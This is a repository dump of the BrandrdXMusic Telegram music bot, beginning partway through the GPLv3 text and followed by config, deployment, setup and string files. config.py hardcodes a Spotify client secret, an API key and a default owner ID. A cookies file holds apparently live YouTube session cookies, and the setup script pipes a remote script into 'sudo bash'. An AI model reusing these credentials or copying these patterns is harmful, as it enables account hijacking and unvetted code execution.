the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ================================================ FILE: Procfile ================================================ worker: bash start ================================================ FILE: app.json ================================================ { "name": "⛦ 𝐁𝐫𝐚𝐧𝐝𝐫𝐝 𝐗 𝐌𝐮𝐬𝐢𝐜 ⛦", "description": "A Telegram Music Player Bot, written in Python with Pyrogram and Py-Tgcalls.", "logo": "https://te.legra.ph/file/62fa7c81c56c1ae31c844.jpg", "keywords": [ "python3", "telegram", "bot", "Brandrd", "MusicBot", "telegram-bot", "pyrogram" ], "env": { "API_ID": { "description": "Get this value from https://my.telegram.org", "value": "", "required": true }, "API_HASH": { "description": "Get this value from https://my.telegram.org", "value": "", "required": true }, "BOT_TOKEN": { "description": "A Bot's token from Botfather", "value": "", "required": true }, "MONGO_DB_URI": { "description": "Get a mongodb url from https://cloud.mongodb.com.", "value": "", "required": true }, "OWNER_ID": { "description": "The user id of user whom you would like to add as OWNER.", "value": "", "required": true }, "STRING_SESSION": { "description": "A Pyrogram v2 String Session from @BRANDEDSTRINGSESSION_BOT on Telegram.", "value": "", "required": true }, "HEROKU_API_KEY": { "description": "Your Heroku account's API key", "value": "", "required": false }, "HEROKU_APP_NAME": { "description": "Your heroku app name", "value": "", "required": false }, "LOGGER_ID": { "description": "Your Log Group ID, add your bot and promote as an admin with full rights!. Don't Add Channel's ID.", "value": "", "required": true } }, "buildpacks": [ { "url": "heroku/python" }, { "url": "heroku/nodejs" }, { "url": "https://github.com/jonathanong/heroku-buildpack-ffmpeg-latest.git" } ], "stack": "container" } ================================================ FILE: config.py ================================================ import re import os from os import getenv from dotenv import load_dotenv from pyrogram import filters load_dotenv() # Get this value from my.telegram.org/apps API_ID = int(getenv("API_ID", None)) API_HASH = getenv("API_HASH", None) # Get your token from @BotFather on Telegram. BOT_TOKEN = getenv("BOT_TOKEN", None) # Get your mongo url from cloud.mongodb.com MONGO_DB_URI = getenv("MONGO_DB_URI", None) MUSIC_BOT_NAME = getenv("MUSIC_BOT_NAME", None) PRIVATE_BOT_MODE = getenv("PRIVATE_BOT_MODE", None) DURATION_LIMIT_MIN = int(getenv("DURATION_LIMIT", 900)) # Chat id of a group for logging bot's activities LOGGER_ID = int(getenv("LOGGER_ID", None)) # Get this value from @BRANDRD_ROBOT on Telegram by /id OWNER_ID = int(getenv("OWNER_ID", "7250012103")) LOG = int(getenv("LOG", True)) API_URL = getenv("API_URL", 'https://api.thequickearn.xyz') VIDEO_API_URL = getenv("VIDEO_API_URL", 'https://api.video.thequickearn.xyz') API_KEY = getenv("API_KEY", 'NxGBNexGenBots6c30dd') ## Fill these variables if you're deploying on heroku. # Your heroku app name HEROKU_APP_NAME = getenv("HEROKU_APP_NAME") # Get it from http://dashboard.heroku.com/account HEROKU_API_KEY = getenv("HEROKU_API_KEY") UPSTREAM_REPO = getenv( "UPSTREAM_REPO", "https://github.com/WCGKING/BrandrdXMusic", ) UPSTREAM_BRANCH = getenv("UPSTREAM_BRANCH", "main") GIT_TOKEN = getenv( "GIT_TOKEN", None ) # Fill this variable if your upstream repository is private SUPPORT_CHANNEL = getenv("SUPPORT_CHANNEL", "https://t.me/BRANDED_PAID_CC") SUPPORT_CHAT = getenv("SUPPORT_CHAT", "https://t.me/BRANDED_WORLD") # Set this to True if you want the assistant to automatically leave chats after an interval AUTO_LEAVING_ASSISTANT = bool(getenv("AUTO_LEAVING_ASSISTANT", False)) # Auto Gcast/Broadcast Handler (True = broadcast on , False = broadcast off During Hosting, Dont Do anything here.) AUTO_GCAST = os.getenv("AUTO_GCAST") # Auto Broadcast Message That You Want Use In Auto Broadcast In All Groups. AUTO_GCAST_MSG = getenv("AUTO_GCAST_MSG", "") # Get this credentials from https://developer.spotify.com/dashboard SPOTIFY_CLIENT_ID = getenv("SPOTIFY_CLIENT_ID", "bcfe26b0ebc3428882a0b5fb3e872473") SPOTIFY_CLIENT_SECRET = getenv("SPOTIFY_CLIENT_SECRET", "907c6a054c214005aeae1fd752273cc4") # Maximum limit for fetching playlist's track from youtube, spotify, apple links. SERVER_PLAYLIST_LIMIT = int(getenv("SERVER_PLAYLIST_LIMIT", "50")) PLAYLIST_FETCH_LIMIT = int(getenv("PLAYLIST_FETCH_LIMIT", "25")) SONG_DOWNLOAD_DURATION = int(getenv("SONG_DOWNLOAD_DURATION_LIMIT", "180")) SONG_DOWNLOAD_DURATION_LIMIT = int(getenv("SONG_DOWNLOAD_DURATION_LIMIT", "2000")) # Telegram audio and video file size limit (in bytes) TG_AUDIO_FILESIZE_LIMIT = int(getenv("TG_AUDIO_FILESIZE_LIMIT", 104857600)) TG_VIDEO_FILESIZE_LIMIT = int(getenv("TG_VIDEO_FILESIZE_LIMIT", 1073741824)) # Checkout https://www.gbmb.org/mb-to-bytes for converting mb to bytes # Get your pyrogram v2 session from @BRANDEDSTRINGSESSION_BOT on Telegram STRING1 = getenv("STRING_SESSION", None) STRING2 = getenv("STRING_SESSION2", None) STRING3 = getenv("STRING_SESSION3", None) STRING4 = getenv("STRING_SESSION4", None) STRING5 = getenv("STRING_SESSION5", None) BANNED_USERS = filters.user() adminlist = {} lyrical = {} votemode = {} autoclean = [] confirmer = {} START_IMG_URL = getenv( "START_IMG_URL", "https://files.catbox.moe/zuqgbn.jpg" ) PING_IMG_URL = getenv( "PING_IMG_URL", "https://files.catbox.moe/2ase3x.jpg" ) PLAYLIST_IMG_URL = "https://te.legra.ph/file/14eb59ea7d31229d8d751.jpg" STATS_IMG_URL = "https://te.legra.ph/file/4310ea5f523520b2b765b.jpg" TELEGRAM_AUDIO_URL = "https://te.legra.ph/file/923c1faac33d8c70335dc.jpg" TELEGRAM_VIDEO_URL = "https://te.legra.ph/file/6c66f8b192532fe758e82.jpg" STREAM_IMG_URL = "https://te.legra.ph/file/ebc4dc6357be06e08a3ed.jpg" SOUNCLOUD_IMG_URL = "https://te.legra.ph/file/d339f390ec168c19879c6.jpg" YOUTUBE_IMG_URL = "https://te.legra.ph/file/ee0cd53ab73f08f4a3627.jpg" SPOTIFY_ARTIST_IMG_URL = "https://te.legra.ph/file/5f9fb5bba66021c782d96.jpg" SPOTIFY_ALBUM_IMG_URL = "https://te.legra.ph/file/affe0afec5c7ad63676a4.jpg" SPOTIFY_PLAYLIST_IMG_URL = "https://te.legra.ph/file/3c446e8dee78ed0ca62ff.jpg" def time_to_seconds(time): stringt = str(time) return sum(int(x) * 60**i for i, x in enumerate(reversed(stringt.split(":")))) DURATION_LIMIT = int(time_to_seconds(f"{DURATION_LIMIT_MIN}:00")) if SUPPORT_CHANNEL: if not re.match("(?:http|https)://", SUPPORT_CHANNEL): raise SystemExit( "[ERROR] - Your SUPPORT_CHANNEL url is wrong. Please ensure that it starts with https://" ) if SUPPORT_CHAT: if not re.match("(?:http|https)://", SUPPORT_CHAT): raise SystemExit( "[ERROR] - Your SUPPORT_CHAT url is wrong. Please ensure that it starts with https://" ) ================================================ FILE: cookies/BrandedXMusic.txt ================================================ # Netscape HTTP Cookie File # This is a generated file! Do not edit. # domain include_subdomains path secure expiration_date name value .youtube.com TRUE / TRUE 1797169216 __Secure-1PSIDCC AKEyXzUE8XsoANVtRbMh35hx_IHHhGkChbbryV7NlH92dazcHB09NJDikS70eaBRIAbv-b2FnA .youtube.com TRUE / TRUE 0 YSC l-HUJYK6j2I .youtube.com TRUE / TRUE 1781185192 __Secure-YNID 14.YT=m7T20DUET9au0O3u8c__zltnsRRyCItbWYnUOYeu8XQbOjBB8rOfQNUnb2X5RuwsHi0ubvB-VintMSG0UtjxqgBm7PkwBXE0xawCQ9zUnOqAqmwT33lvbOP3qRqkNKjfuM3cco-wvk21Re6u5mzKjYRQZOVy1S_9sBbbCRU-BycU0r19CiuFszhO1QPfMsMcLkrrsqDFAnGZNAQ69HIaRTsWAoEh_4Nj2KmWlaUszpKbzE8L748wuQ_7Atn7yTowrvE7fWLeNFNoc3RzRsIm05fPqOTu4JwtAzLTP7LFLAWb7MbZrcwtufOQ-I7iGf80NBp6MGykAk-e71ddWmod3A .youtube.com TRUE / TRUE 1799736104 __Secure-3PSID g.a0004QiqXGljLJC1cp4peGjs5_hzUDjqgZLwOVnLI5vUSUukVqlkl0WOvQ0ZgB-Q26xZF-_AJAACgYKAbcSARQSFQHGX2MiTllPlHMjhA_X8tm6tsmNTxoVAUF8yKoro-a99XgVQjgvQOIL3Roh0076 .youtube.com TRUE / TRUE 1797169216 __Secure-3PSIDCC AKEyXzXgxLCNxZi5Qkomb8YpTBtsKAFcJZFW_5eh1_0fWybElcx1wZQ2rxkfIOi5JaaaJoUr .youtube.com TRUE / TRUE 1799736104 __Secure-1PSID g.a0004QiqXGljLJC1cp4peGjs5_hzUDjqgZLwOVnLI5vUSUukVqlkmyxrGLPrBBorX3fpepnlLAACgYKAcISARQSFQHGX2Miv3u90Lmg7E3lKmuen4rclBoVAUF8yKojRbqwWuQrmWO6v71cGhJs0076 .youtube.com TRUE / FALSE 1799736104 SID g.a0004QiqXGljLJC1cp4peGjs5_hzUDjqgZLwOVnLI5vUSUukVqlkZ1YemOk3GyCkR2zfhuBFiQACgYKAecSARQSFQHGX2Mi3dTGYMyhQBqya6C4tBFsSxoVAUF8yKoWnsFgaXK2vZ5GJRfDltaQ0076 .youtube.com TRUE / FALSE 1797169216 SIDCC AKEyXzUXIuE8dKGUne5pjsH39dAVSMd2HGSszWlGOMooPUq9js-ZUmo_8ZAC9e0J0K71iNKi .youtube.com TRUE / TRUE 1793269258 LOGIN_INFO AFmmF2swRgIhAKztKYXp3BkmKhYV70u3Mu0VCE_bGRYblRGGSiZrnDhfAiEAhKd58aon6SxDYFlD_tmEEf_eLJo002v1IyLgLapXQUY:QUQ3MjNmeXRRc3ZsZUtXQmhOWVNrbjhYYXQ2TVd4Z0RqeF9mV2JLUG5rdkxfSExNSXFoUkNoN3R5dENCVWo5V01DNF9mYUlGM1NZRVkyN0lUUVZLZWtOa3A0RXQwTU1xZTAwYjlwZFBkdEtqWlBOY0xPWFRHZkZIdFFXLU9BWUdocFZmY1VQOURsUDRpMVhHeDg1aGg0UXhmaWZoT2ZaYkxB .youtube.com TRUE / TRUE 1799736104 __Secure-1PAPISID _dHr5gwZg1Xl4ofI/A5WHVkS8ps9DoiEvI .youtube.com TRUE / FALSE 1799736104 APISID 0qCa16FC8YVhrvys/APuioFNuh6FLlmcHb .youtube.com TRUE / TRUE 1799736104 __Secure-3PAPISID _dHr5gwZg1Xl4ofI/A5WHVkS8ps9DoiEvI .youtube.com TRUE / TRUE 1799736104 SSID AAkDRoUaAU540SBoW .youtube.com TRUE / TRUE 1800193197 PREF tz=Asia.Calcutta&f7=100 .youtube.com TRUE / FALSE 1799736104 HSID AetwVtVIcsiOueC92 .youtube.com TRUE / TRUE 1790245255 __Secure-1PSIDTS sidts-CjQBmkD5S49ZihnhM-S5coHMTDOv4Q5552vGnc2IbkcPtPtXPLzv--bK2OJFhNJtLJtxGe5UEAA .youtube.com TRUE / TRUE 1799736104 SAPISID _dHr5gwZg1Xl4ofI/A5WHVkS8ps9DoiEvI .youtube.com TRUE / TRUE 1781185192 VISITOR_INFO1_LIVE btyA3zWNXrw .youtube.com TRUE / TRUE 1781185192 __Secure-ROLLOUT_TOKEN CNvtg8DS7JjaORDT-bfz6a-PAxjt4fOZ2LqRAw%3D%3D .youtube.com TRUE / TRUE 1790245255 __Secure-3PSIDTS sidts-CjQBmkD5S49ZihnhM-S5coHMTDOv4Q5552vGnc2IbkcPtPtXPLzv--bK2OJFhNJtLJtxGe5UEAA .youtube.com TRUE / TRUE 1781185192 VISITOR_PRIVACY_METADATA CgJJThIEGgAgHA%3D%3D ================================================ FILE: heroku.yml ================================================ build: docker: worker: Dockerfile run: worker: bash start ================================================ FILE: requirements.txt ================================================ opencv-python-headless==4.10.0.84 telethon==1.36.0 aiofiles apscheduler aiohttp==3.10.11 asyncio==3.4.3 gTTS dnspython==2.6.1 hachoir heroku3 motor==3.4.0 pymongo==4.5.0 pillow==10.4.0 psutil wget qrcode future==0.14.0 search_engine_parser speedtest py-tgcalls==1.2.9 MukeshAPI ntgcalls==1.1.2 gitpython pykeyboard python-dotenv pyyaml==6.0.2 tgcrypto telegraph==2.2.0 yt-dlp lexica-api==1.5.9 httpx==0.27.0 openai==1.41.0 lyricsgenius==3.0.0 spotipy SafoneAPI youtube_search youtube-search-python googlesearch-python unidecode #git+https://github.com/joetats/youtube_search@master #git+https://github.com/alexmercerind/youtube-search-python@main https://github.com/KurimuzonAkuma/pyrogram/archive/v2.1.23.zip bing_image_downloader ================================================ FILE: runtime.txt ================================================ python-3.11.4 ================================================ FILE: sample.env ================================================ API_ID= API_HASH= BOT_TOKEN= MONGO_DB_URI= LOGGER_ID=- OWNER_ID= STRING_SESSION= ================================================ FILE: setup ================================================ #!/bin/bash pprint (){ cred='\033[0;31m' cgreen='\033[0;32m' cyellow='\033[0;33m' cblue='\033[0;34m' cpurple='\033[0;35m' eval "export color='$cpurple'" [ ! -z $2 ] && eval "export color=\"\$$2\"" printf "$color $1" } color_reset(){ printf '\033[0;37m';} yesnoprompt(){ old_stty_cfg=$(stty -g) stty raw -echo ; answer=$(head -c 1) stty $old_stty_cfg echo "$answer" | grep -iq "^y" } update() { pprint "\n\nUpdating package list.. " sudo apt update 2>&1 | grep "can be upgraded" &>/dev/null if [ $? -eq 0 ]; then pprint "UPDATE AVAILABLE" "cgreen" pprint "\n\nDo you want to automatically upgrade (y/n)?" if yesnoprompt; then pprint "\n\nUpgrading packages.. " sudo apt upgrade -y &>/dev/null && pprint "DONE!\n\n" "cgreen" || (pprint "FAIL.\n\n" "cred"; exit 1) else echo fi else pprint "ALREADY UP TO DATE\n\n" "cgreen" fi } packages(){ if ! command -v pip &>/dev/null; then pprint "Couldn't found pip, installing now..." sudo apt install python3-pip -y 2>pypilog.txt 1>/dev/null && pprint "SUCCESS.\n\n" "cgreen" || (pprint "FAIL.\n\n" "cred"; exit 1) fi if ! command -v ffmpeg &>/dev/null; then pprint "Couldn't found ffmpeg, installing now..." if sudo apt install ffmpeg -y &>/dev/null;then pprint "SUCCESS.\n\n" "cgreen" else pprint "FAIL.\n\n" "cred" pprint "You need to install ffmpeg manually in order to deploy BrandrdXMusic, exiting...\n" "cblue" exit 1 fi fi # Check ffmpeg version and warn user if necessary. fv=$(grep -Po 'version (3.*?) ' <<< $(ffmpeg -version)) && pprint "Playing live streams not going to work since you have ffmpeg $fv, live streams are supported by version 4+.\n" "cblue" } node(){ command -v npm &>/dev/null && return pprint "Installing Nodejs and Npm.. " curl -fssL https://deb.nodesource.com/setup_19.x | sudo -E bash - &>nodelog.txt && sudo apt install -y nodejs &>>nodelog.txt && sudo npm i -g npm &>>nodelog.txt && pprint "SUCCESS!\n" "cgreen" || (pprint "FAIL.\n" "cred"; exit 1) } installation(){ pprint "\n\nUpgrading pip and installing dependency packages..." pip3 install -U pip &>>pypilog.txt && pip3 install -U -r requirements.txt &>>pypilog.txt && pprint "DONE.\n" "cgreen" && return pprint "FAIL.\n" "cred" exit 1 } clear pprint "Welcome to BrandrdXMusic Setup Installer\n\n" pprint "If you see any error during Installation Process, Please refer to these files for logs: " pprint "\nFor node js errors , Checkout nodelog.txt" pprint "\nFor pypi packages errors , Checkout pypilog.txt" sleep 1 pprint "\n\nScript needs sudo privileges in order to update & install packages.\n" sudo test update packages node installation pprint "\n\n\n\n\nWCGKING Installation Completed !" "cgreen" sleep 1 clear pprint "\nEnter Your Values Below\n\n\n" pprint "API ID: "; color_reset; read api_id pprint "\nAPI HASH: "; color_reset; read api_hash pprint "\nBOT TOKEN: "; color_reset; read bot_token pprint "\nOWNER ID:"; color_reset; read ownid pprint "\nMONGO DB URI: "; color_reset; read mongo_db pprint "\nLOG GROUP ID: "; color_reset; read logger pprint "\nSTRING SESSION: "; color_reset; read string_session pprint "\n\nProcessing your vars, wait a while !" "cgreen" if [ -f .env ]; then rm .env fi echo """API_ID = $api_id API_HASH = $api_hash BOT_TOKEN = $bot_token MONGO_DB_URI = $mongo_db LOGGER_ID = $logger STRING_SESSION = $string_session OWNER_ID = $ownid""" > .env clear pprint "\n\n\nThanks for using BrandrdXMusic installer, your vars have been saved successfully ! \nIf you wanna add more variables add them in your env by : vi .env" pprint "\n\nNow you can start the bot by : bash start\n\n" ================================================ FILE: start ================================================ python3 -m BrandrdXMusic ================================================ FILE: strings/__init__.py ================================================ import os from typing import List import yaml LOGGERS = "Branded_king__robot" languages = {} languages_present = {} def get_string(lang: str): return languages[lang] for filename in os.listdir(r"./strings/langs/"): if "en" not in languages: languages["en"] = yaml.safe_load( open(r"./strings/langs/en.yml", encoding="utf8") ) languages_present["en"] = languages["en"]["name"] if filename.endswith(".yml"): language_name = filename[:-4] if language_name == "en": continue languages[language_name] = yaml.safe_load( open(r"./strings/langs/" + filename, encoding="utf8") ) for item in languages["en"]: if item not in languages[language_name]: languages[language_name][item] = languages["en"][item] try: languages_present[language_name] = languages[language_name]["name"] except: print("There is some issue with the language file inside bot.") exit() ================================================ FILE: strings/helpers.py ================================================ HELP_1 = """ᴀᴅᴍɪɴ ᴄᴏᴍᴍᴀɴᴅs : ᴊᴜsᴛ ᴀᴅᴅ ɪɴ ᴛʜᴇ sᴛᴀʀᴛɪɴɢ ᴏғ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅs ᴛᴏ ᴜsᴇ ᴛʜᴇᴍ ғᴏʀ ᴄʜᴀɴɴᴇʟ. /pause : 